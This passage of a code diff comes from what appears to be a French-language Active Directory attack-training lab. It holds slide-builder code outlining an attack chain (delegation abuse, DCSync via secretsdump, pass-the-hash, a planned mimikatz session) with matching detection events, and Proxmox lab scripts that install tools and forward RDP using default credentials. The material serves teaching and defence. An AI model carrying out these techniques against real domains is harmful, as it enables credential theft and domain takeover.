notes(s, "Faire remarquer que rien n'a été « exploité » ici : le groupe accorde "
|
||||||
|
"l'administration locale, et le protocole d'administration est ouvert.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 16
|
||||||
|
s = content_slide(prs, "L'élévation", "Une délégation trop généreuse")
|
||||||
|
|
||||||
|
card(s, 0.9, 2.3, 2.9, 1.05, "svc_backup", "compte de service", TEAL, title_size=17)
|
||||||
|
arrow(s, 4.0, 2.7, 1.0)
|
||||||
|
textbox(s, 3.95, 2.35, 1.2, 0.3, "GenericAll", size=12, color=AMBER, bold=True,
|
||||||
|
align=PP_ALIGN.CENTER)
|
||||||
|
card(s, 5.2, 2.3, 2.9, 1.05, "m.legault", "utilisateur ordinaire", TEAL, title_size=17)
|
||||||
|
arrow(s, 8.3, 2.7, 1.0)
|
||||||
|
textbox(s, 8.25, 2.35, 1.2, 0.3, "membre de", size=12, color=GRAY, align=PP_ALIGN.CENTER)
|
||||||
|
card(s, 9.5, 2.3, 3.0, 1.05, "Sauvegarde-AD", "droits de réplication", AMBER, title_size=17)
|
||||||
|
|
||||||
|
textbox(s, 9.5, 3.55, 3.4, 0.7,
|
||||||
|
"Replicating Directory Changes (All) sur le domaine",
|
||||||
|
size=12, color=GRAY, line_spacing=1.1)
|
||||||
|
|
||||||
|
box = s.shapes.add_shape(MSO_SHAPE.ROUNDED_RECTANGLE, Inches(0.9), Inches(4.6),
|
||||||
|
Inches(11.6), Inches(1.25))
|
||||||
|
box.adjustments[0] = 0.08
|
||||||
|
box.fill.solid()
|
||||||
|
box.fill.fore_color.rgb = WHITE
|
||||||
|
box.line.color.rgb = LINE
|
||||||
|
box.shadow.inherit = False
|
||||||
|
textbox(s, 1.15, 4.8, 11.1, 0.9,
|
||||||
|
"t.smith (Domain Admins) a reçu le même droit, retiré aussitôt : objet protégé, "
|
||||||
|
"SDProp l'aurait effacé dans l'heure. C'est le leurre — et la leçon sur les objets protégés.",
|
||||||
|
size=14, color=INK, line_spacing=1.15)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Ce n'est pas un exploit : c'est un droit accordé, et le compte qui le porte "
|
||||||
|
"appartient à un groupe doté des droits de réplication. Deux décisions "
|
||||||
|
"inoffensives séparément.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 17
|
||||||
|
s = content_slide(prs, "La preuve finale", "Du droit de réplication au drapeau")
|
||||||
|
bullets(s, [
|
||||||
|
"m.legault est membre de Sauvegarde-AD, qui détient la réplication.",
|
||||||
|
"secretsdump : le hash NTLM d'un administrateur du domaine.",
|
||||||
|
"Pass-the-hash, puis un compte Domain Admin créé de toutes pièces.",
|
||||||
|
"C:\\flag\\root.txt : le même drapeau que sur WS01, côté DC.",
|
||||||
|
"m.legault n'est ni Domain Admin ni administratrice du DC — et pourtant.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Nuance importante pour le débriefing : on n'a pas « volé » un compte "
|
||||||
|
"d'administrateur ; on a emprunté le canal de réplication que le produit de "
|
||||||
|
"sauvegarde utilise légitimement.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 18
|
||||||
|
s = content_slide(prs, "Volet défensif", "Ce que les journaux auraient montré")
|
||||||
|
table(s, [
|
||||||
|
["Étape", "Événement", "Ce qu'on voit"],
|
||||||
|
["AS-REP", "4768", "TGT demandé sans pré-authentification"],
|
||||||
|
["Kerberoasting", "4769", "ticket de service en RC4 (0x17)"],
|
||||||
|
["Mouvement latéral", "4624 type 3/10, 4672", "session réseau, privilèges spéciaux"],
|
||||||
|
["Réinitialisation", "4724", "un compte de service réinitialise un utilisateur"],
|
||||||
|
["DCSync", "4662", "réplication demandée par un compte qui n'est pas un DC"],
|
||||||
|
["Cassage hors ligne", "aucun", "invisible côté AD — le point du débriefing"],
|
||||||
|
], 0.9, 1.95, 11.4, [2.7, 2.4, 6.3], size=14, row_height=0.52)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Le cassage est le seul maillon muet. Tout le reste laisse une trace : c'est "
|
||||||
|
"ce qui rend la détection possible même quand l'attaque réussit.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 19
|
||||||
|
s = content_slide(prs, "Trois leçons", "À retenir")
|
||||||
|
card(s, 0.9, 1.95, 3.6, 3.3, "1. La délégation",
|
||||||
|
"Un droit accordé « pour rendre service » est un chemin d'élévation. "
|
||||||
|
"Le périmètre d'un compte de service se relit chaque année.",
|
||||||
|
TEAL, title_size=17, body_size=13)
|
||||||
|
card(s, 4.85, 1.95, 3.6, 3.3, "2. La réplication",
|
||||||
|
"Replicating Directory Changes (All) vaut un Domain Admin pour qui sait "
|
||||||
|
"demander les bons secrets. Le groupe de sauvegarde est sensible.",
|
||||||
|
AMBER, title_size=17, body_size=13)
|
||||||
|
card(s, 8.8, 1.95, 3.6, 3.3, "3. Le bruit",
|
||||||
|
"L'étape la plus bruyante n'est pas celle qu'on croit : le cassage hors ligne "
|
||||||
|
"ne laisse aucune trace dans l'annuaire.",
|
||||||
|
NAVY, title_size=17, body_size=13)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Ces trois leçons sont la raison d'être du volet défensif : chaque maillon a "
|
||||||
|
"un propriétaire et une décision derrière.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 20
|
||||||
|
s = content_slide(prs, "Après l'atelier", "Et la suite")
|
||||||
|
bullets(s, [
|
||||||
|
"Remise à zéro : ./lab.sh reset (base gelée, environ deux minutes).",
|
||||||
|
"Les drapeaux restent identiques : tout le monde repart du même état.",
|
||||||
|
"Session 2 : voler le matériel d'authentification dans LSASS (mimikatz, pass-the-hash).",
|
||||||
|
"Vos questions et vos fausses pistes alimentent la prochaine version.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "La session 2 n'est pas encore implémentée : c'est un plan. Le laboratoire de "
|
||||||
|
"la session 1 reste la référence.")
|
||||||
|
|
||||||
|
prs.save(OUT)
|
||||||
|
print(f"{OUT} · {len(prs.slides)} slides")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
build()
|
||||||
Binary file not shown.
@@ -90,6 +90,9 @@ backend_check() {
|
|||||||
_c_fail "genisoimage or xorriso required to build seed ISOs"
|
_c_fail "genisoimage or xorriso required to build seed ISOs"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
have_cmd smbclient || _c_fail "smbclient required (apt install smbclient): site sync and install finalize"
|
||||||
|
have_cmd python3 || _c_fail "python3 required to read the guest agent output"
|
||||||
|
|
||||||
# participant Kali clones
|
# participant Kali clones
|
||||||
local kali_count=${KALI_COUNT:-0}
|
local kali_count=${KALI_COUNT:-0}
|
||||||
if (( kali_count > 0 )); then
|
if (( kali_count > 0 )); then
|
||||||
@@ -181,6 +184,19 @@ backend_launch() {
|
|||||||
fi
|
fi
|
||||||
pve_running "$vmid" && { info " $name already running"; return 0; }
|
pve_running "$vmid" && { info " $name already running"; return 0; }
|
||||||
|
|
||||||
|
if pve_is_template "$vmid"; then
|
||||||
|
fail "$name is a template, not a working VM (./lab.sh destroy && ./lab.sh build)"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
if ! pve_exists "$vmid"; then
|
||||||
|
local tpl
|
||||||
|
tpl=$(pve_template_vmid "$name")
|
||||||
|
pve_exists "$tpl" || { fail "$name has no VM and no template (run ./lab.sh build)"; return 1; }
|
||||||
|
qm clone "$tpl" "$vmid" --name "norbourg-$name" --full 1 >/dev/null \
|
||||||
|
|| { fail "qm clone failed for $name"; return 1; }
|
||||||
|
ok "$(printf '%-6s cloned from template %s' "$name" "$tpl")"
|
||||||
|
fi
|
||||||
|
|
||||||
qm start "$vmid" >/dev/null || { fail "qm start failed for $name"; return 1; }
|
qm start "$vmid" >/dev/null || { fail "qm start failed for $name"; return 1; }
|
||||||
ok "$(printf '%-6s started (vm %s)' "$name" "$vmid")"
|
ok "$(printf '%-6s started (vm %s)' "$name" "$vmid")"
|
||||||
}
|
}
|
||||||
@@ -206,17 +222,22 @@ backend_snapshot() {
|
|||||||
tpl=$(pve_template_vmid "$name")
|
tpl=$(pve_template_vmid "$name")
|
||||||
|
|
||||||
pve_running "$vmid" && { fail "$name is still running"; return 1; }
|
pve_running "$vmid" && { fail "$name is still running"; return 1; }
|
||||||
|
|
||||||
if pve_exists "$tpl"; then
|
|
||||||
ok "$(printf '%-6s template %s already exists' "$name" "$tpl")"
|
|
||||||
return 0
|
|
||||||
fi
|
|
||||||
pve_exists "$vmid" || { fail "$name has no VM to freeze"; return 1; }
|
pve_exists "$vmid" || { fail "$name has no VM to freeze"; return 1; }
|
||||||
|
|
||||||
qm template "$vmid" >/dev/null || { fail "qm template failed for $name"; return 1; }
|
# The working VM keeps its id; the baseline is an independent full clone
|
||||||
|
# converted to a template, so reset can always recreate the working VM.
|
||||||
|
if pve_exists "$tpl"; then
|
||||||
|
qm destroy "$tpl" --purge 1 >/dev/null 2>&1 || true
|
||||||
|
fi
|
||||||
|
qm clone "$vmid" "$tpl" --name "norbourg-${name}-tpl" --full 1 >/dev/null \
|
||||||
|
|| { fail "qm clone failed for $name"; return 1; }
|
||||||
|
qm template "$tpl" >/dev/null || { fail "qm template failed for $name"; return 1; }
|
||||||
ok "$(printf '%-6s frozen as template %s' "$name" "$tpl")"
|
ok "$(printf '%-6s frozen as template %s' "$name" "$tpl")"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# `save` commits the current state into the baseline; same operation here.
|
||||||
|
backend_commit() { backend_snapshot "$@"; }
|
||||||
|
|
||||||
backend_has_baseline() { pve_exists "$(pve_template_vmid "$1")"; }
|
backend_has_baseline() { pve_exists "$(pve_template_vmid "$1")"; }
|
||||||
|
|
||||||
backend_reset() {
|
backend_reset() {
|
||||||
@@ -228,7 +249,7 @@ backend_reset() {
|
|||||||
pve_exists "$tpl" || { fail "$name has no template — run ./lab.sh snapshot first"; return 1; }
|
pve_exists "$tpl" || { fail "$name has no template — run ./lab.sh snapshot first"; return 1; }
|
||||||
|
|
||||||
pve_exists "$vmid" && qm destroy "$vmid" --purge 1 >/dev/null 2>&1
|
pve_exists "$vmid" && qm destroy "$vmid" --purge 1 >/dev/null 2>&1
|
||||||
qm clone "$tpl" "$vmid" --name "norbourg-$name" >/dev/null \
|
qm clone "$tpl" "$vmid" --name "norbourg-$name" --full 1 >/dev/null \
|
||||||
|| { fail "qm clone failed for $name"; return 1; }
|
|| { fail "qm clone failed for $name"; return 1; }
|
||||||
ok "$(printf '%-6s reverted from template %s' "$name" "$tpl")"
|
ok "$(printf '%-6s reverted from template %s' "$name" "$tpl")"
|
||||||
}
|
}
|
||||||
@@ -265,9 +286,14 @@ try:
|
|||||||
except Exception:
|
except Exception:
|
||||||
print("could not parse guest agent output", file=sys.stderr)
|
print("could not parse guest agent output", file=sys.stderr)
|
||||||
sys.exit(2)
|
sys.exit(2)
|
||||||
sys.stdout.write(data.get("out", ""))
|
# PVE >= 8 names the fields out-data/err-data; older versions used out/err.
|
||||||
if data.get("err", "").strip():
|
out = (data.get("out") or data.get("out-data") or "").replace("\x00", "")
|
||||||
sys.stderr.write(data["err"])
|
err = (data.get("err") or data.get("err-data") or "").replace("\x00", "")
|
||||||
|
if data.get("out-truncated"):
|
||||||
|
err += "\n[output truncated by the guest agent]"
|
||||||
|
sys.stdout.write(out)
|
||||||
|
if err.strip():
|
||||||
|
sys.stderr.write(err)
|
||||||
sys.exit(int(data.get("exitcode", 0)))
|
sys.exit(int(data.get("exitcode", 0)))
|
||||||
PY
|
PY
|
||||||
}
|
}
|
||||||
@@ -297,6 +323,16 @@ backend_ready() {
|
|||||||
|
|
||||||
backend_start() {
|
backend_start() {
|
||||||
local name=$1 remote=$2
|
local name=$1 remote=$2
|
||||||
|
|
||||||
|
# Fail in seconds, not after the one-hour marker wait, when the seed
|
||||||
|
# payload never reached the guest. Only an explicit False is conclusive.
|
||||||
|
local exists
|
||||||
|
exists=$(backend_ps "$name" "Test-Path '${remote}'" 2>/dev/null | tr -d '[:space:]')
|
||||||
|
if [[ $exists == False ]]; then
|
||||||
|
fail "$name: ${remote} is missing — the seed payload was not copied"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
backend_ps "$name" "
|
backend_ps "$name" "
|
||||||
Remove-Item -Force -ErrorAction SilentlyContinue '${remote}.done'
|
Remove-Item -Force -ErrorAction SilentlyContinue '${remote}.done'
|
||||||
schtasks.exe /End /TN NorbourgStage 2>\$null | Out-Null
|
schtasks.exe /End /TN NorbourgStage 2>\$null | Out-Null
|
||||||
@@ -418,13 +454,125 @@ CONF
|
|||||||
# After a successful install, stop booting from the installer CD: otherwise
|
# After a successful install, stop booting from the installer CD: otherwise
|
||||||
# every boot waits five seconds and a stray keypress re-enters Setup.
|
# every boot waits five seconds and a stray keypress re-enters Setup.
|
||||||
backend_finalize() {
|
backend_finalize() {
|
||||||
local name=$1 vmid
|
local name=$1 vmid ip deadline
|
||||||
vmid=$(pve_vmid "$name")
|
vmid=$(pve_vmid "$name")
|
||||||
|
ip=$(pve_ip "$name")
|
||||||
|
|
||||||
qm set "$vmid" --boot 'order=sata0' --delete ide2 >/dev/null 2>&1 || true
|
qm set "$vmid" --boot 'order=sata0' --delete ide2 >/dev/null 2>&1 || true
|
||||||
ok "$(printf '%-6s boots from disk (installer ISO detached)' "$name")"
|
ok "$(printf '%-6s boots from disk (installer ISO detached)' "$name")"
|
||||||
|
|
||||||
|
# WinRM answers while the first-logon bootstrap is still running (it
|
||||||
|
# enables remoting early). Rebooting before stamp.txt exists would abort
|
||||||
|
# the agent install, so wait for the end marker first. SMB is already up
|
||||||
|
# and, unlike the agent, does not depend on vioser.
|
||||||
|
if have_cmd smbclient; then
|
||||||
|
deadline=$(( SECONDS + 300 ))
|
||||||
|
while (( SECONDS < deadline )); do
|
||||||
|
smbclient "//$ip/C\$" -W "$NETBIOS" -U "$LAB_USER%$LAB_ADMIN_PASSWORD" \
|
||||||
|
-c 'ls norbourg\stamp.txt' >/dev/null 2>&1 && break
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
else
|
||||||
|
warn "smbclient missing: cannot wait for the bootstrap marker, pausing 60 s"
|
||||||
|
sleep 60
|
||||||
|
fi
|
||||||
|
|
||||||
|
# The virtio-serial port appears on the next boot: the agent installed at
|
||||||
|
# first logon started before its device existed and never connected, so
|
||||||
|
# Proxmox reports "guest agent is not running". Reboot once and wait.
|
||||||
|
qm reboot "$vmid" >/dev/null 2>&1 || qm start "$vmid" >/dev/null 2>&1 || true
|
||||||
|
deadline=$(( SECONDS + 300 ))
|
||||||
|
while (( SECONDS < deadline )); do
|
||||||
|
if _qga "$name" cmd.exe /c exit >/dev/null 2>&1; then
|
||||||
|
ok "$(printf '%-6s guest agent answering' "$name")"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
warn "$name: guest agent still silent after the post-install reboot"
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
# ------------------------------------------------------------------ kali
|
# ------------------------------------------------------------------ kali
|
||||||
|
|
||||||
|
# Install packages in the Kali template through a proxy on the PVE host.
|
||||||
|
# The lab has no Internet by design; squid listens on the lab bridge and only
|
||||||
|
# accepts the probe address, so no other guest can use it.
|
||||||
|
_px_kali_bake_xrdp() {
|
||||||
|
local tpl=$1 probe=10.10.10.249
|
||||||
|
|
||||||
|
step "Kali template: xrdp"
|
||||||
|
if ! dpkg -s squid >/dev/null 2>&1; then
|
||||||
|
apt-get update -qq >/dev/null 2>&1 || true
|
||||||
|
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq squid >/dev/null 2>&1 \
|
||||||
|
|| { warn "could not install squid on this host"; return 1; }
|
||||||
|
fi
|
||||||
|
[[ -f /etc/squid/squid.conf && ! -f /root/squid.conf.norbourg ]] \
|
||||||
|
&& cp /etc/squid/squid.conf /root/squid.conf.norbourg
|
||||||
|
|
||||||
|
cat >/etc/squid/squid.conf <<EOF
|
||||||
|
http_port ${LAB_HOST_IP:-10.10.10.1}:3128
|
||||||
|
acl lab src ${probe}/32
|
||||||
|
http_access allow lab
|
||||||
|
http_access deny all
|
||||||
|
EOF
|
||||||
|
systemctl restart squid >/dev/null 2>&1 || { warn "squid failed to start"; return 1; }
|
||||||
|
|
||||||
|
qm start "$tpl" >/dev/null 2>&1 || { systemctl stop squid; return 1; }
|
||||||
|
|
||||||
|
local deadline=$(( SECONDS + 240 ))
|
||||||
|
while (( SECONDS < deadline )); do
|
||||||
|
qm guest exec "$tpl" --timeout 10 -- /bin/true >/dev/null 2>&1 && break
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
if ! qm guest exec "$tpl" --timeout 10 -- /bin/true >/dev/null 2>&1; then
|
||||||
|
warn "kali template: guest agent did not answer"
|
||||||
|
qm stop "$tpl" >/dev/null 2>&1 || true
|
||||||
|
systemctl stop squid >/dev/null 2>&1 || true
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
local script b64
|
||||||
|
script=$(cat <<GUEST
|
||||||
|
set -e
|
||||||
|
iface=\$(ip -o link show | awk -F': ' '\$2 != "lo" && \$2 !~ /^docker/ {print \$2; exit}')
|
||||||
|
ip addr add ${probe}/24 dev "\$iface" || true
|
||||||
|
ip link set "\$iface" up
|
||||||
|
ip route replace ${LAB_HOST_IP:-10.10.10.1}/32 dev "\$iface" src ${probe}
|
||||||
|
printf 'Acquire::http::Proxy "http://${LAB_HOST_IP:-10.10.10.1}:3128";\n' > /etc/apt/apt.conf.d/99proxy
|
||||||
|
export DEBIAN_FRONTEND=noninteractive
|
||||||
|
apt-get update -qq
|
||||||
|
apt-get install -y -qq xrdp xorgxrdp
|
||||||
|
rm -f /etc/apt/apt.conf.d/99proxy
|
||||||
|
if [ -d /home/kali ]; then
|
||||||
|
echo startxfce4 > /home/kali/.xsession
|
||||||
|
chmod +x /home/kali/.xsession
|
||||||
|
chown kali:kali /home/kali/.xsession
|
||||||
|
fi
|
||||||
|
systemctl enable xrdp >/dev/null 2>&1 || true
|
||||||
|
ip addr del ${probe}/24 dev "\$iface" || true
|
||||||
|
GUEST
|
||||||
|
)
|
||||||
|
b64=$(printf '%s' "$script" | base64 -w0)
|
||||||
|
qm guest exec "$tpl" --timeout 1800 -- /bin/bash -c \
|
||||||
|
"echo $b64 | base64 -d > /tmp/xrdp.sh; bash /tmp/xrdp.sh" >/dev/null 2>&1 \
|
||||||
|
|| warn "the xrdp install reported an error (see the template's apt output)"
|
||||||
|
|
||||||
|
qm shutdown "$tpl" --timeout 90 >/dev/null 2>&1 || qm stop "$tpl" >/dev/null 2>&1 || true
|
||||||
|
deadline=$(( SECONDS + 120 ))
|
||||||
|
while (( SECONDS < deadline )); do
|
||||||
|
pve_running "$tpl" || break
|
||||||
|
sleep 3
|
||||||
|
done
|
||||||
|
pve_running "$tpl" && qm stop "$tpl" >/dev/null 2>&1 || true
|
||||||
|
|
||||||
|
systemctl disable --now squid >/dev/null 2>&1 || true
|
||||||
|
if [[ -f /root/squid.conf.norbourg ]]; then
|
||||||
|
mv -f /root/squid.conf.norbourg /etc/squid/squid.conf
|
||||||
|
fi
|
||||||
|
ok "xrdp installed in the Kali template"
|
||||||
|
}
|
||||||
|
|
||||||
# One attacker VM per participant. Configured through the QEMU guest agent
|
# One attacker VM per participant. Configured through the QEMU guest agent
|
||||||
# (the Kali image ships it as a static unit, so Proxmox starts it), reached
|
# (the Kali image ships it as a static unit, so Proxmox starts it), reached
|
||||||
# entirely through the Proxmox web console: no VPN, no client setup.
|
# entirely through the Proxmox web console: no VPN, no client setup.
|
||||||
@@ -442,12 +590,15 @@ _px_kali_tools() {
|
|||||||
|
|
||||||
dir=$(mktemp -d)
|
dir=$(mktemp -d)
|
||||||
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
|
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
|
||||||
|
cp "$CONTENT_DIR/scripts/bh_clues.py" "$dir/"
|
||||||
cat > "$dir/README.txt" <<'EOF'
|
cat > "$dir/README.txt" <<'EOF'
|
||||||
Outils de l'atelier Norbourg
|
Outils de l'atelier Norbourg
|
||||||
============================
|
============================
|
||||||
|
|
||||||
norbourg.txt : liste de mots ciblee, dimensionnee pour un cassage de
|
norbourg.txt : liste de mots ciblee, dimensionnee pour un cassage de
|
||||||
quelques secondes.
|
quelques secondes.
|
||||||
|
bh_clues.py : lit les JSON de bloodhound-python et imprime les droits
|
||||||
|
exploitables d'un compte (outil concu pour ce laboratoire).
|
||||||
|
|
||||||
sudo mkdir -p /opt/norbourg/wordlists
|
sudo mkdir -p /opt/norbourg/wordlists
|
||||||
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
|
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
|
||||||
@@ -496,6 +647,13 @@ _px_kali_template() {
|
|||||||
qm set "$tpl" --sata0 "$vol" --boot order=sata0 >/dev/null \
|
qm set "$tpl" --sata0 "$vol" --boot order=sata0 >/dev/null \
|
||||||
|| die "could not attach the imported disk"
|
|| die "could not attach the imported disk"
|
||||||
qm set "$tpl" --delete unused0 >/dev/null 2>&1 || true
|
qm set "$tpl" --delete unused0 >/dev/null 2>&1 || true
|
||||||
|
|
||||||
|
# Optional extras (xrdp) are installed before the template is sealed, so
|
||||||
|
# every clone and every `kali reset` keeps them.
|
||||||
|
if [[ ${KALI_XRDP:-0} == 1 ]]; then
|
||||||
|
_px_kali_bake_xrdp "$tpl" || warn "xrdp was not baked into the Kali template"
|
||||||
|
fi
|
||||||
|
|
||||||
qm template "$tpl" >/dev/null
|
qm template "$tpl" >/dev/null
|
||||||
rm -rf "$work"
|
rm -rf "$work"
|
||||||
ok "Kali template ${tpl} created"
|
ok "Kali template ${tpl} created"
|
||||||
@@ -545,6 +703,11 @@ fi
|
|||||||
if [ -n "$src" ]; then
|
if [ -n "$src" ]; then
|
||||||
cp "$src" /opt/norbourg/wordlists/
|
cp "$src" /opt/norbourg/wordlists/
|
||||||
chmod 644 /opt/norbourg/wordlists/norbourg.txt
|
chmod 644 /opt/norbourg/wordlists/norbourg.txt
|
||||||
|
root=$(dirname "$src")
|
||||||
|
if [ -f "$root/bh_clues.py" ]; then
|
||||||
|
cp "$root/bh_clues.py" /opt/norbourg/
|
||||||
|
chmod +x /opt/norbourg/bh_clues.py
|
||||||
|
fi
|
||||||
umount /mnt/tools 2>/dev/null || true
|
umount /mnt/tools 2>/dev/null || true
|
||||||
fi
|
fi
|
||||||
if ip -4 -br addr show | grep -q '10\.10\.10\.'; then echo NET_OK; else echo NET_FAIL; fi
|
if ip -4 -br addr show | grep -q '10\.10\.10\.'; then echo NET_OK; else echo NET_FAIL; fi
|
||||||
@@ -559,7 +722,11 @@ SCRIPT
|
|||||||
"echo ${b64} | base64 -d > /tmp/norbourg-setup.sh; bash /tmp/norbourg-setup.sh" 2>/dev/null) || {
|
"echo ${b64} | base64 -d > /tmp/norbourg-setup.sh; bash /tmp/norbourg-setup.sh" 2>/dev/null) || {
|
||||||
warn "$name: setup script failed"; return 1; }
|
warn "$name: setup script failed"; return 1; }
|
||||||
|
|
||||||
out=$(printf '%s' "$json" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("out",""))' 2>/dev/null)
|
out=$(printf '%s' "$json" | python3 -c '
|
||||||
|
import json, sys
|
||||||
|
d = json.load(sys.stdin)
|
||||||
|
sys.stdout.write((d.get("out") or d.get("out-data") or "").replace("\x00", ""))
|
||||||
|
' 2>/dev/null)
|
||||||
if [[ $out == *NET_OK* && $out == *DNS_OK* ]]; then
|
if [[ $out == *NET_OK* && $out == *DNS_OK* ]]; then
|
||||||
ok "$(printf '%-12s %-14s ready' "$name" "$ip")"
|
ok "$(printf '%-12s %-14s ready' "$name" "$ip")"
|
||||||
else
|
else
|
||||||
@@ -658,6 +825,39 @@ cmd_kali() {
|
|||||||
_px_kali_configure "$vmid" "kali-$(printf '%02d' "$i")" "$(kali_ip "$i")" || true
|
_px_kali_configure "$vmid" "kali-$(printf '%02d' "$i")" "$(kali_ip "$i")" || true
|
||||||
done
|
done
|
||||||
;;
|
;;
|
||||||
|
rdp)
|
||||||
|
have_cmd socat || die "socat required (apt install socat)"
|
||||||
|
local host; host=${PVE_WEB_HOST:-$(hostname -f 2>/dev/null || hostname)}
|
||||||
|
local unit
|
||||||
|
for i in $(seq 1 "$count"); do
|
||||||
|
pve_exists "$(kali_vmid "$i")" || { warn "kali-$(printf '%02d' "$i") does not exist — ./lab.sh kali install"; continue; }
|
||||||
|
unit="/etc/systemd/system/norbourg-kali-rdp-$i.service"
|
||||||
|
cat > "$unit" <<EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Norbourg Kali seat $i (RDP)
|
||||||
|
After=network-online.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStart=/usr/bin/socat TCP-LISTEN:$((3380 + i)),fork,reuseaddr TCP:$(kali_ip "$i"):3389
|
||||||
|
Restart=always
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable --now "norbourg-kali-rdp-$i" >/dev/null 2>&1 \
|
||||||
|
|| { warn "could not start the forward for kali-$(printf '%02d' "$i")"; continue; }
|
||||||
|
ok "$(printf 'kali-%02d rdp://%s:%s (kali/kali)' "$i" "$host" "$((3380 + i))")"
|
||||||
|
done
|
||||||
|
;;
|
||||||
|
rdp-off)
|
||||||
|
for i in $(seq 1 "$count"); do
|
||||||
|
systemctl disable --now "norbourg-kali-rdp-$i" >/dev/null 2>&1 || true
|
||||||
|
rm -f "/etc/systemd/system/norbourg-kali-rdp-$i.service"
|
||||||
|
done
|
||||||
|
systemctl daemon-reload
|
||||||
|
ok "RDP forwards removed"
|
||||||
|
;;
|
||||||
reset)
|
reset)
|
||||||
for i in $(seq 1 "$count"); do
|
for i in $(seq 1 "$count"); do
|
||||||
local vmid; vmid=$(kali_vmid "$i")
|
local vmid; vmid=$(kali_vmid "$i")
|
||||||
@@ -669,7 +869,7 @@ cmd_kali() {
|
|||||||
done
|
done
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
info "usage: ./lab.sh kali install|up|down|status|configure|reset"
|
info "usage: ./lab.sh kali install|up|down|status|configure|rdp|rdp-off|reset"
|
||||||
return 2
|
return 2
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
@@ -735,3 +935,46 @@ cmd_users() {
|
|||||||
printf '\n'
|
printf '\n'
|
||||||
info "Guest credentials inside Kali: kali / kali"
|
info "Guest credentials inside Kali: kali / kali"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------ status
|
||||||
|
# The shared table reads a qemu pidfile and a VNC display; neither exists
|
||||||
|
# here, so show the Proxmox view instead.
|
||||||
|
cmd_status() {
|
||||||
|
local i name ip vmid state role n
|
||||||
|
|
||||||
|
printf '\n%s%-7s %-14s %-7s %-9s %s%s\n' "$C_BOLD" VM IP VMID STATE ROLE "$C_RESET"
|
||||||
|
for i in "${!VM_NAMES[@]}"; do
|
||||||
|
name=${VM_NAMES[$i]}; ip=${VM_IPS[$i]}; role=${VM_ROLES[$i]}
|
||||||
|
vmid=$(pve_vmid "$name")
|
||||||
|
if ! pve_exists "$vmid"; then state="absent"
|
||||||
|
elif pve_running "$vmid"; then state="running"
|
||||||
|
else state="stopped"; fi
|
||||||
|
printf '%-7s %-14s %-7s %-9s %s\n' "$name" "$ip" "$vmid" "$state" "$role"
|
||||||
|
done
|
||||||
|
|
||||||
|
printf '\n'
|
||||||
|
for i in "${!VM_NAMES[@]}"; do
|
||||||
|
name=${VM_NAMES[$i]}; ip=${VM_IPS[$i]}
|
||||||
|
pve_running "$(pve_vmid "$name")" || continue
|
||||||
|
if tcp_open "$ip" 5985; then state="yes"; else state="no"; fi
|
||||||
|
printf ' %-6s winrm: %s\n' "$name" "$state"
|
||||||
|
done
|
||||||
|
|
||||||
|
for n in $(seq 1 "${KALI_COUNT:-0}"); do
|
||||||
|
vmid=$(kali_vmid "$n")
|
||||||
|
pve_exists "$vmid" || continue
|
||||||
|
if pve_running "$vmid"; then state="running"; else state="stopped"; fi
|
||||||
|
printf ' %-10s vm %-6s %-12s %s\n' "kali-$(printf '%02d' "$n")" "$vmid" "$(kali_ip "$n")" "$state"
|
||||||
|
done
|
||||||
|
printf '\n'
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd_vnc() {
|
||||||
|
local name=${1:-} vmid node host
|
||||||
|
[[ -n $name ]] || die "usage: ./lab.sh vnc <vm> (VMs: ${VM_NAMES[*]})"
|
||||||
|
vmid=$(pve_vmid "$name") || die "unknown vm: $name"
|
||||||
|
node=$(pve_node)
|
||||||
|
host=${PVE_WEB_HOST:-$(hostname -f 2>/dev/null || hostname)}
|
||||||
|
info "console: https://${host}:8006/?console=kvm&novnc=1&vmid=${vmid}&node=${node}&resize=scale"
|
||||||
|
info "or from this host: qm terminal ${vmid} (Linux guests only)"
|
||||||
|
}
|
||||||
|
|||||||
@@ -86,6 +86,10 @@ KALI_IP_BASE=41 # 10.10.10.41 .. .4N, outside the DHCP pool
|
|||||||
KALI_VMID_BASE=1300 # template at +90 (windows templates use 1200+)
|
KALI_VMID_BASE=1300 # template at +90 (windows templates use 1200+)
|
||||||
KALI_LINKED_CLONE=1 # 0 = full copies (needs more disk)
|
KALI_LINKED_CLONE=1 # 0 = full copies (needs more disk)
|
||||||
